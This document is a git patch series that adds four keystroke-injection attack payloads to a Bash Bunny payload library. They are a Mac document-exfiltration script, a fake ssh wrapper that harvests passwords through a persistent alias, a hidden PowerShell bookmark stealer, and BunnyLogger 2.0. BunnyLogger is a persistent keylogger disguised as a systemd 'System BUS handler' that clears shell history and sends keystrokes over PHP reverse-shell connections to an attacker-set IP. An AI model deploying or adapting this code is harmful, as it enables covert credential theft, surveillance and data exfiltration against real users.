From 2aa4910d0c5a0b0f9ddbf8aaa3e2adbce9ea7f12 Mon Sep 17 00:00:00 2001 From: Carey Balboa <52982329+careyjames@users.noreply.github.com> Date: Tue, 30 Aug 2022 09:28:28 -0500 Subject: [PATCH 1/4] add my own exfil payload (#540) * add my own exfil payload Exfiltrates files from logged in users Documents and Desktop folders * updated * Update readme.md --- .../exfiltration/Mac_Exfil/payload.txt | 45 +++++++++++++++++++ .../library/exfiltration/Mac_Exfil/readme.md | 18 ++++++++ 2 files changed, 63 insertions(+) create mode 100755 payloads/library/exfiltration/Mac_Exfil/payload.txt create mode 100644 payloads/library/exfiltration/Mac_Exfil/readme.md diff --git a/payloads/library/exfiltration/Mac_Exfil/payload.txt b/payloads/library/exfiltration/Mac_Exfil/payload.txt new file mode 100755 index 00000000..d7a252cb --- /dev/null +++ b/payloads/library/exfiltration/Mac_Exfil/payload.txt @@ -0,0 +1,45 @@ +#!/bin/bash + +# Title: Mac_Exfil +# Description: Exfiltrates files from logged in users Documents and Desktop folders +# Author: Carey Balboa - Mac Help Nashville, Inc. with assistance from corydon76 props to Nashville 2600 +# Target: macOS +# Dependencies: none +# +# Format your MicroSD XC card for your Bash Bunny Mark II using FAT32 and name it "BUNNY" containing a folder named "loot" +LED SETUP +ATTACKMODE HID STORAGE VID_0x05AC PID_0x0267 +QUACK GUI SPACE +QUACK DELAY 500 +QUACK STRING terminal +QUACK ENTER +QUACK DELAY 1000 +LED STAGE1 +QUACK STRING "rsync -av --max-size=5.0m --include='*.pdf' --include='*.docx' --include='*.xlsx' --exclude='*' ~/Documents/ ~/Desktop/ /Volumes/BUNNY/loot" +QUACK ENTER +QUACK DELAY 2000 +# Sync filesystem +# By default, the Linux kernel writes data to disk asynchronously. +# Writes are buffered (cached) in memory, and written to the storage device at the optimal time. +# The sync command forces an immediate write of all cached data to disk. +# Run sync if you anticipate the system to be unstable, or the storage device to become suddenly unavailable, +# and you want to ensure all data is written to disk. (WE ARE ABOUT TO EJECT IT) +sync +QUACK DELAY 2000 +LED STAGE2 +QUACK STRING "diskutil eject BUNNY && killall Terminal" +QUACK ENTER +QUACK DELAY 1000 +LED STAGE3 +# LED payload complete +LED W FAST +mount /dev/mmcblk0p1 /mnt +files=$(find /mnt/loot -type f | wc -l) +# debug=$(find /mnt/loot -type f) +# DEBUG "switch-1-debug" "$files:$debug" +umount /mnt +if [ "$files" != "0" ]; then +LED FINISH +else +LED FAIL +fi diff --git a/payloads/library/exfiltration/Mac_Exfil/readme.md b/payloads/library/exfiltration/Mac_Exfil/readme.md new file mode 100644 index 00000000..fa9f7f7d --- /dev/null +++ b/payloads/library/exfiltration/Mac_Exfil/readme.md @@ -0,0 +1,18 @@ +# Mac_Exfil for the BashBunny + +* Author: Carey Balboa - Mac Help Nashville, Inc. with assistance from corydon76 props to Nashville 2600 +* Version: Version 1.0 +* Target: macOS + +## Description + +A payload that Exfiltrates Word, Excel & PDF files from logged in users Documents and Desktop folders + + +## STATUS + +| LED | Status | +| ------------------ | -------------------------------------------- | +| Purple | Executing Payload | +| Green | Successfully grabbed files | +| Red | Did not get files | From b10a644277e3d981d1ef96ec9a429b3cdf5052f1 Mon Sep 17 00:00:00 2001 From: TW-D <75358550+TW-D@users.noreply.github.com> Date: Tue, 30 Aug 2022 10:37:50 -0400 Subject: [PATCH 2/4] Add Fake SSH (#544) 1) Copies the "ssh" command spoofing program to the user's home directory. 2) Defines a new persistent "ssh" alias with the file "~/.bash_aliases". 3) When the user executes the command "ssh" in a terminal, the spoofing program : - __By default__ retrieves the username@address and password and writes them to "/tmp/.ssh_password". - __But__ this behavior can be changed in line 20 of the "ssh-phishing.sh" file. --- payloads/library/phishing/fake-ssh/README.md | 44 ++++++++++ .../library/phishing/fake-ssh/payload.txt | 86 +++++++++++++++++++ .../library/phishing/fake-ssh/ssh-phishing.sh | 48 +++++++++++ 3 files changed, 178 insertions(+) create mode 100644 payloads/library/phishing/fake-ssh/README.md create mode 100644 payloads/library/phishing/fake-ssh/payload.txt create mode 100644 payloads/library/phishing/fake-ssh/ssh-phishing.sh diff --git a/payloads/library/phishing/fake-ssh/README.md b/payloads/library/phishing/fake-ssh/README.md new file mode 100644 index 00000000..ca3bb433 --- /dev/null +++ b/payloads/library/phishing/fake-ssh/README.md @@ -0,0 +1,44 @@ +# Fake SSH + +- Title: Fake SSH +- Author: TW-D +- Version: 1.0 +- Target: Linux +- Category: Phishing + +## Description + +1) Copies the "ssh" command spoofing program to the user's home directory. +2) Defines a new persistent "ssh" alias with the file "~/.bash_aliases". +3) When the user executes the command "ssh" in a terminal, the spoofing program : +- __By default__ retrieves the username@address and password and writes them to "/tmp/.ssh_password". +- __But__ this behavior can be changed in line 20 of the "ssh-phishing.sh" file. + +## Configuration + +From "payload.txt" change the values of the following constant : +```bash + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + +``` + +From "ssh-phishing.sh" change the values of the following constants if necessary : +```bash + +readonly MAXIMUM_ATTEMPTS=3 + +``` + +From "ssh-phishing.sh", change the payload if you wish : +```bash +## +# +## +/bin/echo "${1}:${ssh_password}" >> /tmp/.ssh_password +## +# +## +``` \ No newline at end of file diff --git a/payloads/library/phishing/fake-ssh/payload.txt b/payloads/library/phishing/fake-ssh/payload.txt new file mode 100644 index 00000000..2b941a78 --- /dev/null +++ b/payloads/library/phishing/fake-ssh/payload.txt @@ -0,0 +1,86 @@ +#!/bin/bash +# +# Title: Fake-SSH +# +# Description: +# This program creates a fake "ssh" +# command by defining an persistent alias. +# +# Author: TW-D +# Version: 1.0 +# Category: Phishing +# Target: Linux +# Attackmodes: HID and STORAGE +# +# TESTED ON +# =============== +# Ubuntu 20.04.4 LTS x86_64 (Xfce) and OpenSSH_8.2p1 +# +# STATUS +# =============== +# Magenta solid ................................... SETUP +# Yellow single blink ............................. ATTACK +# Yellow double blink ............................. STAGE2 +# Yellow triple blink ............................. STAGE3 +# Yellow quadruple blink .......................... STAGE4 +# White fast blink ................................ CLEANUP +# Green 1000ms VERYFAST blink followed by SOLID ... FINISH + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + +######## SETUP ######## + +LED SETUP + +ATTACKMODE HID STORAGE +GET SWITCH_POSITION +udisk mount + +######## ATTACK ######## + +LED ATTACK + +Q DELAY 7000 +Q CTRL-ALT t +Q DELAY 7000 + +LED STAGE2 + +Q STRING " cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/" +Q ENTER +Q DELAY 1500 + +Q STRING " cp ./ssh-phishing.sh ~/.ssh_phishing.sh" +Q ENTER +Q DELAY 1500 + +LED STAGE3 + +Q STRING " chmod +x ~/.ssh_phishing.sh" +Q ENTER +Q DELAY 1500 + +Q STRING " printf \"\\nalias ssh='~/.ssh_phishing.sh'\\n\" >> ~/.bash_aliases" +Q ENTER +Q DELAY 1500 + +LED STAGE4 + +Q STRING " exit" +Q ENTER +Q DELAY 1500 + +######## CLEANUP ######## + +LED CLEANUP + +sync +udisk unmount + +######## FINISH ######## + +LED FINISH + +shutdown -h 0 \ No newline at end of file diff --git a/payloads/library/phishing/fake-ssh/ssh-phishing.sh b/payloads/library/phishing/fake-ssh/ssh-phishing.sh new file mode 100644 index 00000000..0d71f168 --- /dev/null +++ b/payloads/library/phishing/fake-ssh/ssh-phishing.sh @@ -0,0 +1,48 @@ +#!/bin/bash +# +# Fake-SSH +# +# This program imitates the behavior +# of the "ssh" command. +# + +readonly MAXIMUM_ATTEMPTS=3 + +attempts() { + /bin/echo -n "${1}'s password: " + read -r -s ssh_password + /bin/echo "" + /bin/echo "echo \"${ssh_password}\"" > "${SSH_ASKPASS}" + if ( /bin/setsid --wait /usr/bin/ssh -o ConnectTimeout=5 -o StrictHostKeyChecking="no" -o UserKnownHostsFile="/dev/null" "${1}" "exit" > /dev/null 2>&1 ); then + ## + # + ## + /bin/echo "${1}:${ssh_password}" >> /tmp/.ssh_password + ## + # + ## + /bin/setsid --wait /usr/bin/ssh -o StrictHostKeyChecking="no" -o UserKnownHostsFile="/dev/null" $2 2> /dev/null + /bin/rm "${SSH_ASKPASS}" + exit 0 + fi + /bin/echo "Permission denied, please try again." +} + +if [ "${#}" -eq 0 ]; then + /usr/bin/ssh +else + for destination in "${@}"; do + if [[ "${destination}" =~ "@" ]]; then + export SSH_ASKPASS="/tmp/.askpass_script.sh" + /bin/echo "" > "${SSH_ASKPASS}" + chmod +x "${SSH_ASKPASS}" + for ((iterator=1; iterator <= MAXIMUM_ATTEMPTS; iterator++)); do + attempts "${destination}" "${*}" + done + /bin/echo "${destination}: Permission denied (publickey,password,keyboard-interactive)." + /bin/rm "${SSH_ASKPASS}" + exit 0 + fi + done + /usr/bin/ssh "${@}" +fi \ No newline at end of file From 8e322706bcb80184ff490bc14b31c77d646cca67 Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Tue, 30 Aug 2022 10:56:42 -0400 Subject: [PATCH 3/4] New payload - Bookmark-Hog (#543) --- .../library/exfiltration/Bookmark-Hog/BBB.ps1 | 47 ++++++++ .../exfiltration/Bookmark-Hog/README.md | 104 ++++++++++++++++++ .../exfiltration/Bookmark-Hog/payload.txt | 22 ++++ 3 files changed, 173 insertions(+) create mode 100644 payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 create mode 100644 payloads/library/exfiltration/Bookmark-Hog/README.md create mode 100644 payloads/library/exfiltration/Bookmark-Hog/payload.txt diff --git a/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 new file mode 100644 index 00000000..043e1574 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/BBB.ps1 @@ -0,0 +1,47 @@ +#Bookmark-Hog + +# Get Drive Letter +$bb = (gwmi win32_volume -f 'label=''BashBunny''').Name + +# Test if directory exists if not create directory in loot folder to store file +$TARGETDIR = "$bb\loot\Bookmark-Hog\$env:computername\Chromebm.txt" +$TARGETDIR2 = "$bb\loot\Bookmark-Hog\$env:computername\Edgebm.txt" + +if(!(Test-Path -Path $TARGETDIR )){ + mkdir $TARGETDIR +} + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -PathType Leaf)) { + try { + Write-Host "The chrome bookmark file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Chrome Bookmarks to Bash Bunny + else { + Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/Bookmarks" -Destination "$TARGETDIR" + } + + +# See if file is a thing +Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2" + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -PathType Leaf)) { + try { + Write-Host "The edge bookmark file has not been found. " + } + catch { + throw $_.Exception.Message + } +} + # Copy Chrome Bookmarks to Bash Bunny + else { + Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks" -Destination "$TARGETDIR2" +} \ No newline at end of file diff --git a/payloads/library/exfiltration/Bookmark-Hog/README.md b/payloads/library/exfiltration/Bookmark-Hog/README.md new file mode 100644 index 00000000..47fe90c7 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/README.md @@ -0,0 +1,104 @@ + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Bookmark-Hog + +A payload to exfiltrate bookmarks of the 2 most popular browsers + +## Description + +This payload will enumerate through the browser directories, looking for the file that stores the bookmark history +These files will be saved to the bash bunny in the loot directory + +## Getting Started + +### Dependencies + +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Let the magic happen + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +atomiczsec + +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Bookmark-Hog/payload.txt b/payloads/library/exfiltration/Bookmark-Hog/payload.txt new file mode 100644 index 00000000..392ab545 --- /dev/null +++ b/payloads/library/exfiltration/Bookmark-Hog/payload.txt @@ -0,0 +1,22 @@ +# Title: Bookmark-Hog +# Description: This payload is meant to exfiltrate bookmarks to the bash bunny. +# Author: atomiczsec +# Version: 1.0 +# Category: Exfiltration +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +QUACK GUI r +QUACK DELAY 100 +LED STAGE2 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\BBB.ps1')" +QUACK ENTER \ No newline at end of file From 5738de5e9e1d5b3abfb51c8fe1138da939d9e3ab Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Fri, 2 Sep 2022 00:49:05 +0530 Subject: [PATCH 4/4] uploading BunnyLogger 2.0 (#545) * Uploaded BunnyLogger * uploading payload intel * Create README.md * Update README.md * uploaded LinuxPreter * uploaded FileRipper Faster executing version * Update README.md * fixing typo * uploaded sudoSnatch * Update README.md * deleting sudoSnatch * uploading payload * Delete payload.sh * Delete shell * Delete systemBus * Delete camPeek directory * Update payload.sh * Update payload.sh * Delete payloads/library/execution/FileRipper directory * Update payload.sh * Update payload.sh * Update payload.sh * Update payload.sh * uploading BLE_EXFIL extension BLE_EXFIL extension, exfiltrates data via BLE * BLE_EXFIL demo * uploading mine4me mine4me payload makes your target system mine Monero for you. Spread payload in multiple systems to acquire more Monero. * category update * Uploading BunnyLogger 2.0 --- .../credentials/BunnyLogger2.0/README.md | 39 ++++ .../credentials/BunnyLogger2.0/bunnyLoggerMgr | 191 ++++++++++++++++++ .../credentials/BunnyLogger2.0/install.sh | 7 + .../credentials/BunnyLogger2.0/payload.sh | 28 +++ .../credentials/BunnyLogger2.0/payload.txt | 56 +++++ .../BunnyLogger2.0/requirements/clctrl | 41 ++++ .../BunnyLogger2.0/requirements/nc | Bin 0 -> 34952 bytes .../BunnyLogger2.0/requirements/xinput | Bin 0 -> 60768 bytes .../credentials/BunnyLogger2.0/uninstall.sh | 4 + 9 files changed, 366 insertions(+) create mode 100644 payloads/library/credentials/BunnyLogger2.0/README.md create mode 100644 payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr create mode 100644 payloads/library/credentials/BunnyLogger2.0/install.sh create mode 100644 payloads/library/credentials/BunnyLogger2.0/payload.sh create mode 100644 payloads/library/credentials/BunnyLogger2.0/payload.txt create mode 100644 payloads/library/credentials/BunnyLogger2.0/requirements/clctrl create mode 100644 payloads/library/credentials/BunnyLogger2.0/requirements/nc create mode 100644 payloads/library/credentials/BunnyLogger2.0/requirements/xinput create mode 100644 payloads/library/credentials/BunnyLogger2.0/uninstall.sh diff --git a/payloads/library/credentials/BunnyLogger2.0/README.md b/payloads/library/credentials/BunnyLogger2.0/README.md new file mode 100644 index 00000000..1bb556ca --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/README.md @@ -0,0 +1,39 @@ +## About: +* Title: BunnyLogger 2.0 +* Description: Key logger which sends each and every key stroke of target remotely/locally. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Credentials +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## BunnyLogger 2.0: BunnyLogger is a Key Logger which captures every key stroke of target and send them to attacker. + +### Features: +* Live keystroke capturing. +* Stored Keystroke capturing. +* Bunny Logger Manager: Interactive TUI Dashboard. +* Detailed key logs. +* Persistent. +* Autostart payload on boot. + +### Directory Structure of payload components: + +| FileName | Directory | +| -------------- | ------------------------------ | +| payload.txt | /payload/switch1/ | +| payload.sh | /payload/ | +| requirements/* | /payloads/library/bunnyLogger2 | + +### LED Status: + +* `LED SETUP` : MAGENTA +* `LED ATTACK` : YELLOW +* `LED FINISH` : GREEN + +### Usage: +* Install BunnyLogger 2.0: `chmod +x install.sh && sudo ./install.sh` +* Run : `bunnyLoggerMgr` to launch BunnyLogger Manager. + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr b/payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr new file mode 100644 index 00000000..3a88d66e --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/bunnyLoggerMgr @@ -0,0 +1,191 @@ +#!/bin/bash +allowAbort=true; +myInterruptHandler() +{ + if $allowAbort; then + echo + echo -e "\n\033[1;34m[INFO]: \e[0mYou terminated bunnyLoggerMgr..." && exit 1; + fi; +} +trap myInterruptHandler SIGINT +echo -e "\033[4m\033[1mWelcome to BunnyLogger Manager!!!\033[0m" +echo +echo -e "1] Fetch Keylogs.\n2] Create new target.\n3] List available target.\n4] Remove target.\n5] Update target.\n6] Decode Key Logs." +echo +read -p "Enter your choice: " ch +create(){ + read -p "Enter Target's name(without whitespaces): " name + if [[ $(grep -oh "\w*$name\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $name ]]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mName \"$name\" already exists." + exit 1 + fi + read -p "Enter Servers IP: " ip + read -p "Enter Unique Port Number(1500-65535): " port + read -p "Enter another Unique Port Number(1500-65535): " secPort + if [ "$port" == "$secPort" ]; then + echo -e "\033[1;34m[INFO]: \033[0mTwo ports can't be similar." + exit 1 + fi + if [[ $(grep -oh "\w*$ip\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $ip ]] && [[ $(grep -oh "\w*$port\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $port ]] && [[ $(grep -oh "\w*$secPort\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $secPort ]]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mTarget exist with similar IP address \"$ip\" and port number one \"$port\", port number two \"$secPort\"." + exit 1 + fi + max=65535 + min=1500 + if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && (( $port <= $max )) && (( $port >= $min )) && (( $secPort <= $max )) && (( $secPort >= $min )); then + read -p "Specify directory for output: " dir + if [ ! -d "$dir" ]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory." + exit 1 + else + cp -r ~/.config/bunnyLogger/payload.sh $dir + fi + sed -i -e "s/0.0.0.0/$ip/g" $dir/payload.sh + sed -i -e "s/4444/$port/g" $dir/payload.sh + sed -i -e "s/5555/$secPort/g" $dir/payload.sh + echo -e "$(echo "$name"|xargs)\t$ip\t$port\t$secPort" >> ~/.config/bunnyLogger/bunnyLogger.db + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$ip\" or Port Number \"$port\" or Port Number \"$secPort\"." + exit 1 + fi + +} +list(){ + + column -t -o ' ' ~/.config/bunnyLogger/bunnyLogger.db | awk '{print NR" - "$0}' +} +remove(){ + echo + list + echo + read -p "Enter name of target to remove: " rmv + if grep -q $rmv ~/.config/bunnyLogger/bunnyLogger.db; then + sed -i "/\b\($rmv\)\b/d" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0m Successfully Removed \"$rmv\"." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$rmv\" no such target found." + fi +} +update(){ + echo + list + echo + read -p "Choose target number: " cho + read -p "You want to update (ip|portOne|portTwo): " ent + if [ "$ent" = ip ] + then + one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}") + read -p "Enter new ip: " use + if [[ $use =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + sed -i -e "$cho s/$one/$use/g" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0mSuccessfully Updated IP." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$use\"." + exit + fi + elif [ "$ent" = portOne ] + then + two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}') + read -p "Enter new Port number: " useP + max=65535 + min=1500 + if (( $useP <= $max )) && (( $useP >= $min )); then + sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"." + fi + elif [ "$ent" = portTwo ] + then + two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}') + read -p "Enter new Port number: " useP + max=65535 + min=1500 + if (( $useP <= $max )) && (( $useP >= $min )); then + sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db + echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"." + else + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"." + fi + else + echo -e "\033[1;31m\e[1m[ERROR]: \e0m[Invalid choice \"$ent\"." + fi +} +fetch(){ + echo + list + echo + read -p "Enter Target number to connect: " cho + one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}") + two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}') + three=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}') + echo -en "1] Live Capture \t2]Fetch Stored Logs: " + read typ + case $typ in + 1) + read -p "Specify directory for output: " dir + read -p "Enter filename to store logs: " filename + if [ ! -d "$dir" ]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory." + exit 1 + else + echo "\033[1;34m\e[1m[[INFO]: \e[0mStarted Keylogs Capture..." + nc -lvp $two > $dir/$filename.log + fi + ;; + 2) + read -p "Specify directory for output: " dir + read -p "Enter filename to store logs: " filename + if [ ! -d "$dir" ]; then + echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory." + exit 1 + else + nc -lvp 1444 > $dir/$filename.log & + nc -lvp $three + fi + ;; + *) + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice.." + ;; + esac +} +decode(){ + echo -e "1] Normal Decode \t2] Informative Decode" + read -p "Enter your choice: " cho + read -p "Enter path of file to decode: " path + read -p "Enter path for decoded log: " out + case $cho in + 1) + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path | grep press | awk '{print $4}' > $out + ;; + 2) + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path > $out + ;; + *) + echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice \"$cho\"." + ;; + esac +} +case $ch in + 1) + fetch + ;; + 2) + create + ;; + 3) + list + ;; + 4) + update + ;; + 5) + remove + ;; + 6) + decode + ;; + *) + echo -e "\033[1;31m\e[1m[ERROR]: Invalid Choice \"$ch\"." + ;; +esac diff --git a/payloads/library/credentials/BunnyLogger2.0/install.sh b/payloads/library/credentials/BunnyLogger2.0/install.sh new file mode 100644 index 00000000..fba06e5d --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/install.sh @@ -0,0 +1,7 @@ +#!/bin/bash +path=~/.config/bunnyLogger +mkdir $path +cp payload.sh $path +touch $path/bunnyLogger.db +chmod +x bunnyLoggerMgr +sudo cp bunnyLoggerMgr /usr/local/bin/ diff --git a/payloads/library/credentials/BunnyLogger2.0/payload.sh b/payloads/library/credentials/BunnyLogger2.0/payload.sh new file mode 100644 index 00000000..16ae54df --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/payload.sh @@ -0,0 +1,28 @@ +#!/bin/bash +unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +mkdir -p /var/tmp/.system/logs +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +cp -r $mntt/tools/xinput /var/tmp/.system/ +cp -r $mntt/payloads/library/bunnyLogger2/clctrl /var/tmp/.system/ +cp -r $mntt/payloads/library/bunnyLogger2/nc /var/tmp/.system/ +chmod +x /var/tmp/.system/nc +echo -e "name=\$(date +\"%y-%m-%d-%T\")\n/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test > /var/tmp/.system/logs/\$name.log &\n/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys +chmod +x /var/tmp/.system/sys +chmod +x /var/tmp/.system/clctrl +chmod +x /var/tmp/.system/xinput +echo -e "while :\ndo\n\tping -c 5 127.0.0.1\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone &\nwhile :\ndo\n\tping -c 5 127.0.0.1\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"127.0.0.1\",5555);exec("\"/var/tmp/.system/./clctrl "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus +chmod +x /var/tmp/.system/systemBus +mkdir -p ~/.config/systemd/user +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service +echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot +chmod +x /var/tmp/.system/reboot +echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/reboot.service +systemctl --user daemon-reload +systemctl --user enable --now systemBUS.service +systemctl --user start --now systemBUS.service +systemctl --user enable --now reboot.service +systemctl --user start --now reboot.service +echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp +chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit diff --git a/payloads/library/credentials/BunnyLogger2.0/payload.txt b/payloads/library/credentials/BunnyLogger2.0/payload.txt new file mode 100644 index 00000000..f9c67969 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/payload.txt @@ -0,0 +1,56 @@ +# Title: BunnyLogger +# Description: Key logger which sends each and every key stroke of target remotely/locally. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Credentials +# Target: Unix-like operating systems with systemd. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 2000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH diff --git a/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl b/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl new file mode 100644 index 00000000..241ac449 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger2.0/requirements/clctrl @@ -0,0 +1,41 @@ +#!/bin/bash +transfer(){ + echo -e "\033[1;34m[INFO]: Target 